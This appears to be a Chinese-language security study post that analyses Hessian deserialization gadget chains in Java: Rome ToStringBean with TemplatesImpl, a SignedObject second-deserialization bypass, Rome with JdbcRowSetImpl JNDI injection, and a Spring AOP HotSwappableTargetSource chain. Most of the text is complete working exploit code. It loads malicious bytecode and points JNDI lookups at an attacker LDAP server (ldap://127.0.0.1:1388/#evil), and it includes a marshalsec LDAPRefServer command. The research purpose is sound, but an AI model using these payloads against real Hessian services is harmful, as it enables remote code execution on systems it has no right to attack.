hessian 反序列化

反序列化 HashMap 对象,

img

readType() 返回的 type 为 ""

img 继续跟进 readMap , new 一个 map 反序列化器

img

继续跟进 map 反序列化器的 readMap

img

这里调用了 map.put(key,value),存在一条 gadget

readObject --> map.put(key,value) --> hash(key) --> hashcode(key)

入口方法为 hashCode()equals()compareTo()

hessian rome 二次反序列化

rome 链子主要是 toString() 方法会触发 getter 方法

然后 hessian 反序列化会调用 key.hashcode() --> ObjectBean.hashcode() --> this._equalsBean.beanHashCode() --> EqualsBean._obj.toString() 这里的 EqualsBean._obj 是 ToStringBean

public class ObjectBean implements Serializable, Cloneable {
    private EqualsBean _equalsBean;
    private ToStringBean _toStringBean;
    private CloneableBean _cloneableBean;

    public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

    public Object clone() throws CloneNotSupportedException {
        return this._cloneableBean.beanClone();
    }

    public boolean equals(Object other) {
        return this._equalsBean.beanEquals(other);
    }

    public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

    public String toString() {
        return this._toStringBean.toString();
    }
}
public class EqualsBean implements Serializable {
    private static final Object[] NO_PARAMS = new Object[0];
    private Class _beanClass;
    private Object _obj;

    public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }
    public int beanHashCode() {
        return this._obj.toString().hashCode();
    }
}

因此 hessian 反序列化 exp 如下

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Hessian_Test implements Serializable {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap map = new HashMap();
        byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","evil");
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templatesImpl,"_bytecodes",evil);
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        map.put(objectBean,"22");
        byte[] bytes = serialize(map);
        System.out.println(bytes);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

弹了计算器,但是报错如下

img

打断点发现这一步往下报错

img

发现 _tfactory 被 transient 修饰,不可序列化,反序列化时取默认值

img

这里 TemplatesImpl 的 readObject 方法,会对 _tfactory 赋值,因此可以打 二次反序列化

使用 signedObject 类

img

exp 如下

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_Test implements Serializable {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","evil");
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templatesImpl,"_bytecodes",evil);

        ToStringBean toStringBean1 = new ToStringBean(Templates.class,templatesImpl);
        EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
        HashMap map0 = new HashMap();
        ObjectBean objectBean1 = new ObjectBean(HashMap.class,map0);
        HashMap map1 = new HashMap();
        map1.put(objectBean1,"22");
        setFieldValue(objectBean1,"_equalsBean",equalsBean1);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) map1, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean2);
        ObjectBean objectBean2 = new ObjectBean(HashMap.class,map0);
        HashMap map2 = new HashMap();
        map2.put(objectBean2, "aaa");
        setFieldValue(objectBean2,"_equalsBean",equalsBean2);

        byte[] bytes = serialize(map2);
//        System.out.println(bytes);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

调用栈如下

img

Rome + JdbcRowSetImpl 链

exp 如下


import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.HashMap;

public class rome_jdbc {
    public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException {
        JdbcRowSetImpl jdbcRowSetImpl = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:1389/#evil";
        jdbcRowSetImpl.setDataSourceName(url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSetImpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap map = new HashMap();
        ObjectBean objectBean = new ObjectBean(HashMap.class,map);
        map.put(objectBean,"wsh");
        setFieldValue(objectBean,"_equalsBean",equalsBean);
        byte[] bytes =  serialize(map);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

调用栈如下

img

hessian spring aop 链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#evil 1388

hessian 反序列化还原对象时调用了 HashMap 的 put 方法,putval, 如果 当前 put 的 key 和已经在 map 内的 key hash一致,且 Key1 != key2 ,key2 不为 null ,则会调用 key2.equals()

那后面就可以接 HotSwappableTargetSource 链子,

public boolean equals(Object other) {
    return (this == other || (other instanceof HotSwappableTargetSource &&
            this.target.equals(((HotSwappableTargetSource) other).target)));
}

即 key2.target.equals(key1.target)

exp 如下

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class hsts_exp {
    public static void main(String[] args) throws Exception {
        HotSwappableTargetSource hsts1 = new HotSwappableTargetSource(1);
        HotSwappableTargetSource hsts2 = new HotSwappableTargetSource(2);

        Map map = new HashMap();
        map.put(hsts1,1);
        map.put(hsts2,2);

        String url = "ldap://127.0.0.1:1388/#evil";
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.setShareableResources(url);

        DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
        setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,"adviceBeanName",url);
        setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,"beanFactory",simpleJndiBeanFactory);

        AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();

        setFieldValue(hsts1,"target",defaultBeanFactoryPointcutAdvisor);
        setFieldValue(hsts2,"target",asyncAnnotationAdvisor);
        String bytes = Hessian_serialize(map);
        Hessian_unserialize(bytes);
    }
    public static String Hessian_serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
        SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化
        serializerFactory.setAllowNonSerializable(true);
        hessianOutput.setSerializerFactory(serializerFactory);
        hessianOutput.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
        byte[] code= Base64.getDecoder().decode(obj);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
        HessianInput hessianInput=new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
    public static void setFieldValue_dir(Object obj, String fieldName, Object value) throws Exception {
        Field field = null;
        Class<?> clazz = obj.getClass();

        // 沿着继承链向上递归查找目标字段,直到 Object 类
        while (clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break; // 找到目标字段,跳出循环
            } catch (NoSuchFieldException e) {
                // 当前类未声明该字段,指针上移至父类
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy of " + obj.getClass().getName());
        }

        field.setAccessible(true);
        field.set(obj, value);
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

调用栈如下

img